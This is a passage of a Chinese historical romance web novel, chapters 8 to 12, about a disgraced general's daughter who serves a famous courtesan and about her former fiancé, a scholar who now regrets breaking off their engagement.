贺怜怜却凑近她小声说:“当年,将军之女勇追帝师之孙,在梦仙楼威逼利诱的故事。整个京城都传遍了,你不知道?”
她这一席话,让宋昔年回忆起了她与霍慎的那段荒唐过往。
两年前风和日丽的春日宴上,各家的公子小姐谈笑打趣。宋昔年投壶赢了文家嫡女文莹的一匹软绸,宋昔年开心地说道:“这匹上好的绸子做几身贴身的里衣再好不过,多谢文小姐相让了。”
还不等文莹回话就有下人来报说前面池塘里落了水,请各位遇水小心避让些,以免再出意外。举办此次宴会的周夫人是京都有名的红娘,每到春暖花开时都会举办一场这样的游园会。此时,京城家里有适龄未婚男女的都会前来凑一番热闹,有人落水还是头一遭,所以都想去看看是怎么回事。
宋昔年惯是个爱凑热闹的,所以她就带头领着刚刚投壶的一拨人向着湖边行去。到了湖边只发现一女子浑身湿透地坐在地上,面上苍白一片,显然是惊吓过度来了,她死死抓住旁边男子的衣角不让他离开。问了旁边的人才知道那姑娘落水了,是那男子在岸上把姑娘捞出。
宋昔年刚随家人从西境回到京城不久,还不认识京城里的人。这次是与闺中密友文莹一起来凑个热闹。
宋昔年正在猜测这对男女的关系时,那男子冷冷地问地上柔弱的女子,“你还要抓我到何时?”
女子羞怯怯地放手,正想开口感谢,可男子丢下一句惺惺作态之后,头也不回地就走了。后来听人说才得知,男子是帝师的庶孙,名叫霍慎,在家行四。虽是庶出,但霍家居帝师之位,门风正派且霍慎自己也文采斐然,所以虽是庶出但也算兄友弟恭,过得也不算差。
霍慎转身之时,宋昔年看到了她的容貌,顿时感叹,世间居然有如此相貌极佳之人。
当时的霍慎身穿浅蓝色的柔光锦缎,腰间坠的白玉与他的白玉发冠遥相呼应。他那一身浅蓝色柔光段,在阳光的照射下和他冷傲的性格十分相配。
之后也碰见几次,但宋昔年一直,没有机会和他说话。直到同年的皇家秋猎,宋昔年才在围猎场见到霍慎并同他说了第一句话。
宋昔年见到霍慎的第一句话,就问他:“你会射猎吗?”
霍慎抬头看着这个唐突的少女,认出她是刚回京不久的远北将军之女。于是只好耐着性子说:“我不善骑射,我不是来射猎的,我来采风作画。”
宋昔年点头,再问:“那你能把我画进你的画里吗?”
霍慎不敢相信地看着眼前这个胆大的少女,果断地说:“不能。”
宋昔年疑惑地问道:“为什么?”
霍慎答:“因为,于理不合!”霍慎明显不悦,不想再和她纠缠,便行礼之后转身离开。
谁知,宋昔年却追了上来,兴奋地和他说:“我知道一处风景很美,我带你去吧,好不好?”
霍慎觉得她有些难缠,于是加快脚步,嘴上还不忘拒绝她说:“不必了!”霍慎
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以为她还会跟着自己,却不想她停在了原地向着相反的方向跑去。
霍慎找了一处树荫处作画,谁知他突然看见宋昔年持弓而来,还快速拉开弓弦将箭矢的方向对准了他。在箭矢朝自己飞来的时候,霍慎确定了这是宋昔年对他的报复。数秒之后,箭矢从霍慎头顶飞过,射在了身后的树上。霍慎突然感觉有液体落在自己的脸上,抬手擦拭,却发现是血。再抬头看见自己的头顶上盘踞着一条蛇的尸体。
霍慎还未反应过来,宋昔年就递了一方帕子到他跟前,没有说话,只是眉眼带笑地看着他。霍慎此刻觉得自己窘迫极了。宋昔年见他不接,又把帕子往他跟前送了送,霍慎这才接下,小声地道了谢。
走的时候宋昔年还带走了自己的战利品,一条一米多长的墨绿色大蛇被宋昔年扛在颈项间,居然为她增添了几分英气在身上。她今日穿的是橘红的劲装左肩背着弓箭,脖子上扛着大蛇,在旁人看来就像锄强扶弱的少女救了文弱的少年郎,事实也的确如此。
宋昔年喜欢霍慎的原因其实很简单,她就是被美色所迷,就像公子哥们喜欢那些各色美人一样,再加上宋家武将出身,家里的男人都是勇猛类型的,所以她就格外喜欢身上有书卷气的霍慎。
原本二人之间也没什么,也就是宋昔年每次看见霍慎,总会上前说几句话,霍慎时而有回应,时而沉默应对。直到重阳佳节那天,宋昔年与家人在梦仙楼吃饭,因着是过节梦仙楼就把京城最有名的戏班名伶请来唱戏,这也是吸引客人的方式。霍慎父母二人都喜欢听戏,也是因为听戏才走到一起的,所以想着一同去听一听,带上孩子就他们一家三口在庆祝一番。
今年是宋昔年时隔多年再一次在京城过节,她十分高兴就偷喝了一杯酒,宋家向来对孩子格外宽容,何况今日又是过节。可谁想到她居然喝醉了,正准备回去的时候看见了刚来梦仙楼的霍家二房一家三口。
宋昔年居然借着酒劲扑到了霍慎怀里,没有准备的霍慎险些被她撞倒在地。宋昔年就这样在大庭广众之下,扑在霍慎怀里大声表白,她这一举动惊呆了在场所有人。
她眼神迷离地看着霍慎问道:“霍老四,我有些喜欢你,你娶我吧!我活泼可爱,性格好,长得虽然没你好看,但也属于小美人,最重要的是我有钱。你和我成婚后,我的钱都给你,怎么样要不要考虑看看?”
霍慎正要推开她,可是她双手紧紧抱着霍慎,霍慎来不及拒绝就被宋昔年用手捂了嘴。
她一本正经地对霍慎说:“你不许拒绝我,我还救过你的命呢!你应该以身相许报答我的恩情。你如果拒绝我,我就……”话没说完,举着手在半空昏死在霍慎怀里。
此次,京城传遍了他们的流言,说宋家小姐威逼利诱帝师之孙,当众投怀送抱毁掉了霍慎清白。
她和贺怜怜刚进梦仙楼就听到身后有人叫宋昔年的名字,也唤醒了沉浸在回忆的宋昔年。一声‘宋卿云’恍如隔世!
9. 第 9 章
还不等宋昔年转身,他就追上前来,惊奇地说:“真的是你,我还以为我认错了。”
宋昔年见到他之后才知道,背后叫她的是从前故友,他是当今皇后内侄,王家嫡子。王家小侯爷王靖宇。他和宋昔年是死党,他们一个放荡不羁,一个直白胆大,算是臭味相投因此成为至交好友。
再见昔日好友,宋昔年自然是开心的,但今日的她已经不是从前的了。她克制心中情绪,低头向王靖宇行礼问安道:“小侯爷,可安好?”
见她如此卑躬屈膝,王靖宇极度不适应。在宋昔年向他躬身行礼的时候,他抬手将她扶起
便问他:“你这是怎么了,弄得我有些害怕。你家的事我也听说了,我去求过我姑姑被训斥一顿,姑姑说,此时姑父正在气头上,最好不要旧事重提,否则不但帮不到你还会加重你家的罪行,我这才放弃。本想告诉你的,但你已经被带进了教坊司。”
宋昔年面带微笑地对他说:“多谢你为我操心奔波,如今一切已成定局,怕是轻易不会有所改变,你千万别为了我把你自己搭进去了。”
王靖宇不在意地说:“你可是我的死党,你的事我总是要上心一二的,只是眼下,我也没有什么更好的办法,你且等等,说不定哪日我那皇帝姑父回心转意,你家就比昔日还要风光了。”
宋昔年听着他天真的想法,不忍心反驳,便道:“那就借你吉言了!”
这时贺怜怜开口说:“既都是熟人,就别站在门口叙旧了,进去找个位置坐下来好好聊吧。”
王靖宇这才发现宋昔年旁边站的居然是乐章台的现任花魁贺怜怜。
三人在梦仙楼坐定,王靖宇便仔细地问了宋昔年这大半年的情况。
同情地看着宋昔年说:“真是苦了你了,好好的一个大小姐,如今却要给人做奴。你如今可还好?有什么需要我帮忙的嘛?尽管说别客气。宋靖宇一副可以为朋友两肋插刀的模样。
宋昔年拒绝道:“多谢你的好意,如今我很知足,家人都活着,我们还能互相扶持,已经是最好的结果,如今我只想好好活着,往后的事走一步看一步吧。”
王靖宇疑惑地说:“你如今这般境遇,那风光霁月的霍家二公子,没有什么表示吗?当初就是他当众悔婚,才害得你如此辛苦。”
宋昔年宽慰他说:“都是过去的事了,人都是趋利避害的,他有他的选择,我也有我的,”
王靖宇点头说:“也对,既然如此,像他这种空有皮囊的伪君子不要也罢。”
他又转头看向坐在一旁吃菜的贺怜怜,好奇地问道:“不过你和贺姑娘又是怎么认识的?”
宋昔年如实回答说:“怜姐姐,是来教坊司选人进乐章台,我们才巧合认识的。”
王靖宇思考了一会,恍然大悟说道:“宋卿云,你不会是想进乐章台吧!不行的,你怎么能去那种地方。”
贺怜怜不悦地说:“王小侯爷,是瞧不起我们乐章台的人吗?”
王靖宇知道自己言语有失,赶忙赔罪解释说:“对不住,我没有看不起的意思,我反而很欣赏贺姑娘的舞技,我有幸见过贺姑娘的表演,那简直是令人终生难忘。只是担心卿云才口不择言了。”
宋昔年见气氛有些尴尬便说:“你不必为我担心。我就算去了也是去做小婢女,我并不会转贱籍的。乐章台都是女子,做她们的婢女应该比被官宦人家买走,不知会如何处理来得要强一些,而且怜姐姐说她会对我多加照拂的,你就放心吧!”
王靖宇还是不赞同她的想法,摇头说:“不行的,你不知道乐章台里有的姑娘很是不好说话,对待伺候的人非打即骂,你做不了的。要不等风头过了,我想个法子赎买你。”
宋昔年问他:“风头何时过?再说宫里既发话,就说明不想我宋家有任何外力帮助,你就别白费力气了。”
此话题不了了之,三人吃完饭,阿昙提醒辰时快到了,他们该回去了。三人告别,临走的时候王靖宇潇洒地给了宋昔年一个钱袋子,不放心地对她叮嘱说:“卿云,若你真的如此决定了我也不再拦你,但你若是有事一定要告诉我,我会帮你的。你若真在乐章台,我会时常去给你撑腰的。到哪都是需要钱的,这些钱你先拿着,以后不够了我再给你。”
宋昔年有些感动,站起身相送,对他再此行礼,王靖宇依然阻止了她下蹲的动作,沉默地离开了梦仙楼。
王靖宇走后,她们二人也返回了教坊司,回到教坊司之后二人分别,宋昔年把从梦仙楼带回来的吃食偷偷地分给了母亲和嫂子。
宋昔年对母亲说了:“今日是怜姐姐的生辰,母亲做一碗长寿面给她吧!今日我在梦仙楼还碰见了元安,他还给了我些钱,母亲也替我收着吧。”
宋母说惊喜说道:“王家小侯爷,你同他素来要好,今日他能给你准备银钱就说明他并未因宋家获罪的事同你疏远,这还真是难得!”
宋母打开钱袋一阵惊呼,那钱袋子里全是五两重小金锭子,数了一下,足足有十个之多,里头还有一些碎银角子。
洪媛见后说:“想必小侯爷是把身上所有的钱都留给了卿云,这份友情还真是让人羡慕!”
她们收好银子,花钱借了厨房给贺怜怜做面,亥时过半贺怜怜吃上了四年来的第一碗长寿面。她心里感动极了,已经多年没有人能不带目的的单纯对她好了。她眼含热泪地吃下了面。厨房中气氛一片温馨,突然有一个小女奴冲进来说要找宋氏婆媳二人,她们这才知道是出了事,有人受了伤。
等她们赶到前头就看见一个官奴受了伤,脸被人用利器划伤了。伤口狰狞可怖,伤口从左脸颊经过鼻梁至右脸颊,离双眼很近,若再往上偏移一点她就瞎了。
宋母上前查看伤口,随即开口问道:“怎么会伤得如此严重,到底发生了什么?”
钱司主不悦地开口说:“你只管治伤就是,不该问的少打听,别忘了自己的身份!”
宋母无奈闭嘴,仔细地帮她处理脸上的伤口。
钱司主见伤口包扎完毕,便问宋母:“应该不会有生命危险对吧!”
宋母如实回答说:“这伤虽严重,但并无性命之忧,只是日后她恐怕都要带着这个疤痕生活了。”
钱司主不在乎地说:“这些不重要,只要死不了就行!”
话音刚落,贺怜怜
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从门外走进来,表情玩味地看着在场的所有人。
鄙夷地说:“司主还是这么冷血无情,我就说在教坊司老实人没有活路吧,你们都还不信我,如今可瞧见了!”
钱司主并不理会贺怜怜的话,只开口对下面的人说:“先把她带下去吧,今晚找个细心的人仔细地照顾着,别让她死了。”
话锋一转,叫人把肇事者压了上来,看了一眼说:“我真没想到,居然会是你!罢了,你既自寻死路,我又何必救你。”
钱司主转身对身后的管事嬷嬷说:“明日,把她们一起送到京郊乐营。”
钱司主再回身凝视着屋里的一干人等,森冷地说道:“可还有想去乐营的,现在就站出来,省得再来一次这样的事浪费时间。不如明早一起送到乐营。”
大家都没有想到事情会到如此地步,都在原地窃窃私语,钱司主习以为常地带着管事嬷嬷们走了。此时,宋昔年突然追了出去,她边追边喊着钱司主,钱司主停下脚步,回头等她。
钱司主疑惑地看着她问:“你还有事儿?”
宋昔年不敢耽搁立马开口说:“我有事相求于司主,司主可愿听一听?”
钱司主好奇地问:“何事?你先说说看吧。”
宋昔年先问钱司主说道:“我娘和嫂子在教坊司替官奴问诊治病几个月,司主可还满意?”
钱司主点头:“的确不错,省了我不少麻烦。”
宋昔年一听这话,就觉得自己已经成功了一半,便自信地继续说:“那不如将她们二人留在教坊司替大家看病!”
钱司主面无表情地听着她这天真的想法,开口问她:“你觉得可能吗?”
宋昔年愣在原地,小声地问她道:“您不是也觉得她们做得不错,那为何不能留下?”
钱司主说:“做得不错不代表可以留下,所有留在教坊司当差的人,全部都要有宫里的允准文书,否则一旦查下来,你娘她们还是会被送走,且是送到乐营那种地方。到时候你不是在救她们而是在害她们。就算宫里一时半会不查,但总有一天会查,你觉得她们能安稳多久。再者我这教坊司的所有婆子管事,她们都是吃尽了苦头,才熬出宫来到教坊司的。你的娘和嫂子凭什么还未受过苦糟过难就想舒舒服服留在教坊司,你觉得这样对她们公平嘛!”
宋昔年第一次觉得委屈,说道:“那该怎么办,我们也是受害者,这样对我们就公平吗?”
钱司主说:“弱小的人,是没有资格谈公平的,你现在只是最低等的官奴,等你重回高位的时候,不用说别人就会把公平送到你身边。我既然已经答应你会把你们一家三口安排在一处,我就不会食言。既然话都说到这份上了,我再同你多说几句也没什么,教坊司的全是罪籍官奴,即使她们都死了,也不会有人在意,所以你们对我根本没有多大用处。”
宋昔年听了彻底死心,悠悠开口说道:“怜姐姐说得没错,这里真的很像地狱,冷得让人害怕!”
钱司主转身走了,良久传来一句,“或许有一天,你会怀念这里的日子,觉得这里犹如世外桃源,你才多大,你见过真正的地狱是什么样子吗?可笑!”
10. 第 10 章
钱司主走后,宋昔年愣在原地许久。贺怜怜从假山后走出,拍着宋昔年的肩膀说:“我早就告知过你,她不会帮你的,你偏不信非要来自取其辱。现在怎么样?可死心了。”
宋昔年迷茫地看着她:“姐姐可有什么办法能让我娘她们不进乐章台受苦!”
贺怜怜嫌弃地说:“瞧你这个没见识样子,谁告诉你进了乐章台就要受苦的?”
宋昔年解释道:“听教坊司的老人们说,乐章台只收年轻貌美的姑娘,哪怕是做女婢也只挑年纪轻的,我娘和嫂子一个年纪大,一个性格清傲。若真进了乐章台,只怕她们会遭不住那些屈辱不公。”
贺怜怜叹气无奈地说:“你只想着她们,却忘了自己,你自己能接受乐章台的屈辱不公吗?”
宋昔年说:“不能接受也必须接受呀,我已经别无选择了不是嘛!”
贺怜怜安慰说道:“你若信得过我且要求不高,后日你们随我回乐章台,我自有法子护住你们,但你也要想清楚进了乐章台你将来若想转良籍可是不容易。若是你不愿转贱籍做官妓,就要伺候官妓,那可就是人下人,想要多舒心可是不能,但若是老实本分保命图个安稳也不成问题。我可以把你们收到我的房里贴身伺候,若是你们低调不打眼,你所说的屈辱不公绝不会有,我向你保证。”
宋昔年最终决定了带家人一起和贺怜怜去乐章台,有贺怜怜护着也算有点保障。
会试名单已出,不出霍慎所料,自己榜上有名且是榜首高中会元。霍家当晚阖家开宴席庆祝这喜事。自从霍家当众悔婚之后,这半年来霍家的气氛一直都是压抑低迷的,如今总算有一件能使大家都高兴的事。
今晚霍慎坐在了霍岩的旁边,这是他从来都不敢想的位置。霍家虽然是钟鼎之家,但霍家二房,毕竟是庶出,多年来小心谨慎,从不出头于人前。两年前宋昔年梦仙楼当众告白霍慎是霍家二房最出风头的一次了。
霍岩满脸喜色地对霍慎说:“勤之这次会试夺魁,皇上特地宣我进宫,和我说他对勤之此次的表现很满意,也很期待一个月后的殿试结果。若殿试还能有不错的成绩,便为我们霍家的以后奠定了基础。”
大家都在恭维霍慎,霍慎只是说:“我身为霍家子孙,本就该为霍家的将来考虑。”这话说得既傲慢又理所当然。
一月之后霍慎不负众望取得了探花,一时之间他风头无限。当天晚上他受同窗邀约去了梦仙楼赴宴,一场恭维的宴会结束之后,大家各自散去。
霍慎出门上马车之时,就听到一声高亢的讥讽说道:“霍探花如今真是风头无两啊!也不知是借了谁的势?”
霍慎循声望去,看到王靖宇似笑非笑的,看着自己却满眼鄙夷。霍慎知道宋昔年与他关系匪浅也知道他此番讥讽是为宋昔年打抱不平。本不想理会打算离去,但听了他接下来的话他如遭雷击。
王靖宇说:“你如今倒是功成名就,却有人被你害得沦落红尘,若你知晓她如今是过得怎样的日子,夜半无人的时候可会心中有愧寝食难安呢?”
霍慎快速下车,扯住了王靖宇的衣领问道:“你此话是何意?什么叫沦落红尘?她不是应该待在教坊司?”
王靖宇放声大笑:“哈哈哈,原来你还知道我说的是谁。”王靖宇扯开了霍慎拉着他衣领的手转身欲走,但霍慎无力地继续抓着他的衣袖不让他走。
霍慎欲言又止地问:“她如今可好?你方才的话是什么意思?”
王靖宇没有回答他的问题,只是说道:“你如今是用什么身份来问?你该知道你没有资格再来过问她的事。”
王靖宇看到霍慎失魂落魄的样子心情很好地负手离开了。
霍慎仿佛失去了所有的力气,在阿无的搀扶下回到车里。
霍慎对阿无说:“你说他的话是什么意思?”
阿无沉默,不知道该如何回答。
霍慎反复思考琢磨,对阿无说:“你明日亲自去打探一番,看看究竟是怎么回事!”
阿无犹豫地说道:“可明日约了北城的人事已经定下来了,说好了明天去落定所有的事情。
霍慎突然暴怒道:“叫你去你就去,那些劳什子有什么重要的!”
阿无吓坏了,他从未见过霍慎如此生气,立马下跪道:“是小的不知轻重,公子别生气,我明日就去打探清楚,回来第一时间禀告公子。”
霍慎知道自己失态了,缓和了语气说:“小心点,别被人发现。”
阿无恭恭敬敬地退出了车内,驾着马车回了霍家。
第二日,阿无一早出去打探消息,直到傍晚才回来。
阿无气喘吁吁地进了霍慎的书房,立马倒了一杯水喝下,才开口说:“宋小姐,的确不在教坊司了。一个月以前,她带着宋家女眷一同去了乐章台。我还辗转打听到,她如今在乐章台花魁贺怜怜房里做贴身婢女,宋老夫人和少夫人也在房里负责贺怜怜的针线和膳食。”
霍慎不敢相信地说:“怎么可能,这么短时间她就去了乐章台还带着家里人。”
霍慎不愿意相信阿无带回来的消息,手里握着绿瓷杯反复摩挲着。他无法想象宋昔年给人端茶递水俯首称是的样子,更不愿意接受自己是导致这一切的罪魁祸首。这一晚他彻夜未眠,锁了卧房的门,把那一方盖头铺在了桌上,手里紧攥着绿瓷杯。他睡不着也不敢睡,他害怕那身着红色嫁衣的背影不再愿意出现在他梦里。
宋昔年已经在乐章台逐渐适应这里的生活,王靖宇时常会来探望她。贺怜怜是花魁,经常会被骚扰,宋昔年是她的贴身婢女为她倒下了不少醉酒男子骚扰,为了不引起麻烦,宋昔年从药铺专门配了一些黑色的膏子涂在脸上把肤色变黑,又在脸上点了雀斑,最后戴上了面纱。
这一日,她跟随贺怜怜看她上台表演歌舞,刚结束下台,就一个喝醉的彪形大汉朝着贺怜怜扑来,宋昔年上去抵挡却因壮汉实在力气太大,宋昔年没有拦住还被他推倒在地。
那壮汉生气宋昔年坏他好事,便狠狠地朝她踹了一脚,大声质问“哪里来的贱婢敢坏我好事。”一脚不解气还想再踹宋昔年。
此时,
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王靖宇正巧赶到,一脚飞踹踢开了那壮汉,那壮汉倒地之后,王靖宇还继续骑在他身上挥拳,直到那壮汉口吐鲜血昏死过去,他才转身抱起宋昔年离开。
回到了贺怜怜给宋家三人安排的屋子,宋家婆媳今日出门采买恰巧不在,王靖宇放下宋昔年将她安置在椅子上。
王靖宇愧疚地开口说:“都怪我不好,若是我能早些来,你就不用挨打。你放心我一定帮你报仇,今日我要是带了刀剑,我一定当场让那混账东西人头落地。”
宋昔年强颜欢笑说道:“我没事的,那一脚踢得不实在,你若为我当场杀人,那得惹出多少乱子啊。我既然进了乐章台就早已经做好了心理准备的,你不必为我担心。你堂堂忠静侯府小侯爷总不好每日流连烟花之地,传出去你的名声还要不要?”
王靖宇说:“你我是死党兄弟,你如今这般模样了,我自当是要护着你的。不如我同乐章台的杜妈妈说一声,让她免了你这伺候人的活,带着伯母她们就住在这小院里,我每月给他银子就是了,你觉得怎么样!”
宋昔年死死盯着他认真地说:“不怎样,我又不是挂牌的姑娘,你凭何出银子包我。”
王靖宇赶忙摆手,紧张地说:“不是包下你,是收买杜妈妈这样你能少受苦头的。”
宋昔年见他手足无措的模样,扑哧笑了出来,无所谓地说道:“我如今都进了这里了,你若为我花钱了,在旁人看来是包养还是收买又有什么不同的。”
王靖宇一时语塞,低头沉默,不敢看宋昔年现在的样子。宋昔年现在就像是一朵木槿花,极其脆弱但又坚强地活着。
贺怜怜带了药给宋昔年,担心地说:“趁着宋婶她们没回来,我帮你看看伤得重不重吧,一会儿她们回来你就不好上药了。”
王靖宇质问宋昔年说道:“你不是说没有受伤嘛,怎么还用上药?你又骗我,宋卿云你还当我是你兄弟吗?”
宋昔年反驳道:“这两件事有何相干?我告诉了你,你能替我上药?不过是平添你的担心罢了。”
王靖宇尴尬,但又不服气地说:“至少我可以拿最好的药来给你,你也能好得快些。”说完就夺门而出找药去了。
王靖宇走后,贺怜怜把宋昔年扶上床,让她侧身躺下。贺怜怜小心地替她解开衣服发现宋昔年右肩下方青紫了一大片,隐隐地像是有血要渗出似的,看得人倒吸一口凉气。
贺怜怜带着哭腔问道:“你一定很疼吧,都是我不好,害得你伤得如此严重。”
宋昔年安慰她说:“没事的,我皮实得很,从前练武也经常受伤没几日就好了,不必担心。”
贺怜怜说:“下次再有这种事情,别再硬来了,这几日我会帮你和杜妈妈告假。你好好上药,好好养着吧。”
宋昔年说:“我是你的贴身婢女,护着你本就是我分内的事,况且你还是我的怜姐姐啊,你有事我怎能袖手旁观呢。”
贺怜怜有些感动地说:“你在这种地方,如果学不会明哲保身是活不久的。我其实也许不值得你豁出性命相救呢!”
11. 第 11 章
宋昔年因为几日没去贺怜怜面前伺候引起了宋氏婆媳的怀疑,最终宋昔年受伤的事情还是被她们知晓。宋母心疼不已但还是什么都没说,默默地为女儿擦着王靖宇送来的药。据他自己说这个药是宫里的‘玉肌膏’是宫里专供给后宫娘娘们用的,王靖宇也是求了王皇后才得来的这个药。
今日宋母边为宋昔年上药边说:“如今你也休息了七日有余了,你这伤擦了小侯爷送的药已然是没什么大碍了,杜妈妈也差人来问你准备何时回去伺候。”
宋昔年趴在小榻上昏昏欲睡地说道:“明日我就去伺候了,这么多天也是歇够了的。”
洪媛手拿绣活开口叮嘱宋昔年道:“卿云,你这次是没有伤到要害,下次可不能如此莽撞了,你毕竟是女子,该示弱的时候还是要示弱的,过刚易折的道理你应该清楚。虽贺姑娘对我们不错,但你始终还是要以自己为先,你若真有事,你让我和娘怎么办,就算是为了我们你也要好好保重自己。”
宋昔年点头答应,洪媛还要再说什么,却故意被宋昔年扯开话题说:“嫂子你手里拿的可是为怜姐姐新做的衣衫,你抓紧点明日我替你带到前头去,你就别去了。”洪媛这才止住话头专心赶制。
第二日卯时,宋昔年穿戴好了,戴了面纱拿上洪媛赶制了一晚上的新衣服,就回了乐章台的前楼。她赶到贺怜怜的房门前时,看见阿昙坐在门前打盹,她小心靠近同她一样席地而坐,把阿昙的头小心地靠在自己的肩上让她能睡得舒服些。
不过多时,贺怜怜叫起,惊醒了阿昙,宋昔年说:“我替你去,这几日我不在你着实是辛苦了,如今我回来了,你就好好回后头歇一日吧。”
阿昙睡眼惺忪地看着她问:“年姐姐,你大好了吗?”
宋昔年摸了摸她的头说:“大好了,放心吧,我能行的。昨晚留宿的是哪位公子?”
阿昙站起来说:“昨晚是赵公子,他可是花了二百两才做了我们姑娘的入幕之宾呢。”
房内传出催促声,门外二人不敢多聊,宋昔年叫阿昙回去休息,自己推门进入房内。贺怜怜正准备训斥:“阿昙,你....”却见来人是宋昔年,话锋一转问道:“怎么是你,阿昙呢。”
宋昔年正要回答却听床围后的男子不耐烦地说:“别废话了,我赶时间,今日是新科师弟们第一次进翰林院,整个翰林院都要表示欢迎,我不好迟到的。”
贺怜怜斜睨了他一眼说道:“公子既然这么忙,做什么还来寻我!”
赵公子在贺怜怜脸上亲了一口说:“你也莫要生气,我这也是有正事。”
宋昔年上前替赵公子更衣,在穿外袍的时候,宋昔年站着替他整理,赵公子看宋昔年身段不错,便问她:“你叫什么名字啊,为何戴着面纱?”话音刚落趁着宋昔年不注意,扯掉了她的面纱,宋昔年立马低下头不去看赵公子。
宋昔年只是蹲下为他继续穿鞋,说道:“奴婢名叫阿梦。”
贺怜怜本想出声,可宋昔年自己先抬起了头,赵公子看见宋昔年皮肤黝黑,还满脸雀斑,嫌弃地用刚刚穿好鞋子的脚,轻轻地赶了赶宋昔年,开口说:“你长成这样就不该出来吓人,怎么还能到人前伺候啊。”
宋昔年自觉地往后站了站,低着头一言不发。贺怜怜此时用她那纤纤玉足踢了踢坐在床沿的赵公子,娇嗔地说:“赵郎人都还没离了我的床就惦记我房里的人了啊!我可警告你,你可对她客气点,她前些日子才为了护我受了伤,休养了好些天才回来。”
说着下床拉着赵公子坐于梳妆台前,亲自为他挽发戴冠。亲昵地将头靠在他的肩上说:“这丫头虽相貌丑陋,但她对我很是忠心,上次要不是她护我,那伤的可就是我了。赵浪你说此等功劳该不该赏呀!”
赵公子也不是个小气的人,闻言立即从钱袋子拿出钱放在桌上,抱了抱贺怜怜之后大步流星地走了。
赵公子走后,贺怜怜看向桌上他留下的东西,走上前拿在手里掂了掂重量。笑眯眯地把那个十两的银锭子递到了宋昔年手里,看着自己手里的五两小金元宝满意地说:“昨晚总算没白忙!”
宋昔年这一个月里见多了这种场景,轻车熟路地从房里衣柜的暗格中取出一颗红色小药丸,倒了一杯温水一起递到贺怜怜手上。看着她毫不犹豫地吃下药丸,心里复杂极了却又不知道说什么。
贺怜怜梳洗完毕之后,问宋昔年:“把那桌上的新衣服拿给我,今日就穿这件吧。”
宋昔年将衣服拿给贺怜怜看,说道:“这件是我嫂子昨晚连夜赶制的,她说了让姐姐先试试,若是哪里要修改或者不合身,到时候再改包姐姐满意的。”
贺怜怜说:“宋家嫂子的手艺我自然不会不满意,你替我谢谢她,这再过些日子天气就要转凉了,等会我带你出去逛逛,你们也该提前添置些过冬的物件,刚好你今天刚得了赏钱。”
今日是霍慎第一次到翰林院报到的日子,因为进宫述职不能带随从,霍慎就允了阿无带宋诺出去的请求,临走前还对他说:“你出去也别光想着玩,庄子和铺子的事你也尽快落实了,在向你熟识的小厮打听下,看看有没有她的消息。”
阿无点头犹豫地说:“这几日那吴家小公子很少去乐章台,他的小厮石头和我说,最近只去了一回还没入得了花魁的屋子。所以...”
阿无的话还没说完,霍慎就抬眼看着他,阿无解释道:“毕竟贺怜怜是名动京城的花魁,每天想见她的男人数不胜数,那吴公子也不是次次都能杀出重围会美人的。不过我听石头和我说她身边的确是多了一个会武功的婢女。所以我上次就大胆猜测小姐是在那花魁房里伺候,毕竟京城里会
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武的女子没几个,而且还是从教坊司出去的。”
霍慎提高了声音说道:“你之前和我说的都是你的猜测,没见到过真人?”
阿无挠了挠头说:“我听石头说那女子戴了面纱,所以见不到面容。”
霍慎无奈地说:“这个石头没消息,你就去找别人啊,你们做小厮的平时私下里传递小道消息不是最灵通的嘛,怎么真到用的时候就全是猜测!”霍慎气愤地把自己的私人印章放在阿无手里。转身要走却发现被阿无扯着衣角,阿无眼睛亮晶晶地看着霍慎,依旧伸着手。
霍慎看到他这样被他气笑了,说道:“我殿试那天刚给的你银子,这么快就没了?”
阿无也不惧厚脸皮地说:“公子叫我办事,总得应酬的,难免花销大了些,再说了还要带阿诺那小子出去,他虽人小可自从学武后吃的是越发多。”
霍慎拿开了阿无抓着他衣角的手,抛了一锭银子给他,阿无接过银子,悄悄地在手中掂了掂,笑眯眯地冲到书房台阶处抱起了坐在台阶上发呆的宋诺,在台阶下毕恭毕敬地等着霍慎,待送霍慎上了马车,这一大一小也大摇大摆地朝着街上去了。
宋昔年和贺怜怜一同出门,今日因为时间尚早她们就没有乘坐马车,二人结伴步行上街,感受着街市上的人声鼎沸,宋昔年感觉与第一次在教坊司和贺怜怜一起上街的心境有所不同。此时她感觉多了一丝自由的味道,虽还是给人做奴为仆但至少母亲和嫂子可以安稳平静地生活,这对于她已经是莫大的心理安慰。
她们逛至晌午,贺怜怜说:“现在这个季节是吃螃蟹的时候,不如我们去尝尝吧。”
宋昔年点头答应,两人找了京城老字号的店铺吃蟹,他家的蟹是全京城最大的且价格童叟无欺,所以每年的九月至十一月都座无虚席。
宋昔年她们运气极佳进来时还有最后一个空位,她们点了四只蟹还有一些别的菜配上一小盅黄酒吃得正欢时,突然一个四岁的小男孩扑进了宋昔年怀里。
半个时辰前,阿无带着宋诺去落定了契约的事情之后,正在考虑午饭吃什么,就听路过的行人说要去吃蟹,所以阿无临时起意带着宋诺也准备吃蟹,但因来晚了一步没有座位了。他们两身为小厮也不好随便找人拼桌。正要走时,眼尖的宋诺瞥到了摘下面纱吃饭的宋昔年,他立即就跑进来抱住了人。
宋昔年被突然抱住也是吓了一跳,但在听到宋诺那声‘姑姑’后愣住了,随即抬起那小孩的脸一瞧果然是自己的小侄子宋诺。
阿无也被宋诺这一举动吓一跳,等看清楚那女子相貌时,就同拦在店门外的伙计说,他们遇上熟人了可以拼桌。那活计半信半疑地看他,显然是不信他的话。他无奈向屋内喊了一声‘小姐’宋昔年回头见是阿无便向门口的活计示意他们认识,阿无这才被放进店里。
12. 第 12 章
宋诺一直抱着宋昔年不肯撒手,宋昔年把他抱到身旁坐下,此时阿无进来激动地向她行礼,宋昔年立马用眼神制止他,示意他也可以坐下。
贺怜怜对路过的小二说:“再加两副碗筷。”阿无立刻反应过来,说道:“小二再给这桌加点菜。”
他们又加了四只螃蟹和宋诺最爱吃的酱牛肉,宋诺想要开口但又欲言又止,宋昔年看懂了他的意思,去让他先吃饭。
饭桌上气氛十分尴尬,阿无率先打破僵局,开口问道:“我们一直都在打探小姐的消息,听说小姐进了乐章台,之后再没别的消息。没想到今日能在此见到小姐!”
宋昔年:“多谢你对我的关心,我如今一切都好。”她看向一直盯着她看的侄子,捏了捏他的脸,又说:“你母亲她们也一切都好!”听到这话,宋诺才安心地低头吃着菜不再开口,但小手始终紧紧抓着宋昔年的裙摆。
宋昔年看着自己的侄子觉得他这大半年结实了不少,举起了酒杯朝阿无敬酒,说道:“阿无多谢你这半年对宋诺的照顾。”
阿无受宠若惊地说道:“这本就是我该做的小姐不必客气。”阿无今日出门是带了差事在身并非休沐之日,不好饮酒,只能以茶水回敬了宋昔年。
